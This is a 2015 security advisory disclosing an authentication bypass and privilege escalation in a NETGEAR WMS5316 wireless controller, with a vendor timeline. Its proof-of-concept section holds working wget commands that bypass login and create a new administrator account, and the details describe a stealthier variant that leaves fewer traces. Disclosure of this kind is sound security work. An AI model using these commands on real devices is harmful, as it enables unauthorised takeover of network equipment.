NETGEAR WMS Authentication Bypass / Privilege Escalation

`NETGEAR Wireless Management System - Authentication Bypass and  
Privilege Escalation.  
WMS5316 ProSafe 16AP Wireless Management System - Firmware 2.1.4.15  
(Build 1236).  
  
  
[-] Vulnerability Information:  
==============================  
Title: NETGEAR Wireless Management System - Authentication Bypass and  
Privilege Escalation  
CVE: Not assigned  
Vendor: NETGEAR  
Product: WMS5316 ProSafe 16AP Wireless Management System  
Affected Version: Firmware 2.1.4.15 (Build 1236)  
Fixed Version: Not publicly available  
  
  
[-] Disclosure Timeline:  
========================  
22/04/2015  
Vulnerability identified by Reinforce Services  
  
23/04/2015  
Support case created with NETGEAR.  
  
24/04/2015  
Vendor requested further information.  
  
27/04/2015  
Issue escalated within NETGEAR.  
  
30/04/2015  
Issue confirmed by vendor.  
  
18/05/2015  
Vendor confirmed issue present in other controllers (details unknown)  
Beta update for WMS5316 expected first week of June.  
  
06/25/2015  
Vendor releases firmware version 2.1.5 that now contains a fix.  
http://downloadcenter.netgear.com/en/product/WMS5316#  
http://kb.netgear.com/app/answers/detail/a_id/29339  
(Note: This has not been tested to confirm the issue is resolved)  
  
  
[-] Proof of Concept:  
=================  
wget --keep-session-cookies --save-cookies=cookies.txt  
--post-data="reqMethod=auth_user&jsonData=%7B%22user_name%22%3A%20%22ANYTHING%22%2C%20%22password%22%3A%20%22&%22%7D"  
http://192.168.1.2/login_handler.php && wget  
--load-cookies=cookies.txt  
--post-data="reqMethod=add_user&jsonData=%7B%22user_name%22%3A%20%22newusername%22%2C%20%22password%22%3A%20%22newpassword%22%2C%20%22re_password%22%3A%20%22newpassword%22%2C%20%22type%22%3A%20%222%22%7D"  
http://192.168.1.2/request_handler.php  
  
  
[-] Vulnerability Details:  
==========================  
The process to bypass authentication and escalate privileges is as follows:  
  
One:  
Include the "&" symbol anywhere in the password value in the login  
request (as raw content - it must not be encoded).  
  
Two:  
After a moment, the system will accept those credentials and grant  
access to the GUI. The account appears somewhat restricted - but this  
is only client side.  
  
Three:  
Send a request to add a new administrative user.  
  
Four:  
The new admin account is then available for use as created above.  
  
Note: As an alternative, it is trivial to modify the Java code on it's  
way down to a browser to enable all of the admin functions rather than  
creating a new user.  
This worked as well - so it's not strictly necessary to create a new  
user; the bypass 'user' has full admin access if needed (leaving less  
indicators of compromise)  
  
  
[-] Credits:  
============  
Vulnerability discovered by Elliott Lewis of Reinforce Services  
  
  
[-] Copyright:  
==============  
Copyright (c) Reinforce Services Limited 2015, All rights reserved  
worldwide. Permission is hereby granted for the electronic  
redistribution of this information. It is not to be edited or altered  
in any way without the express written consent of Reinforce Services  
Limited.  
  
  
[-] Disclaimer:  
===============  
The information herein contained may change without notice. Use of  
this information constitutes acceptance for use in an AS IS condition.  
There are NO warranties, implied or otherwise, with regard to this  
information or its use. Any use of this information is at the user's  
risk. In no event shall the author/distributor (Reinforce Services  
Limited) be held liable for any damages whatsoever arising out of or  
in connection with the use or spread of this information.  
`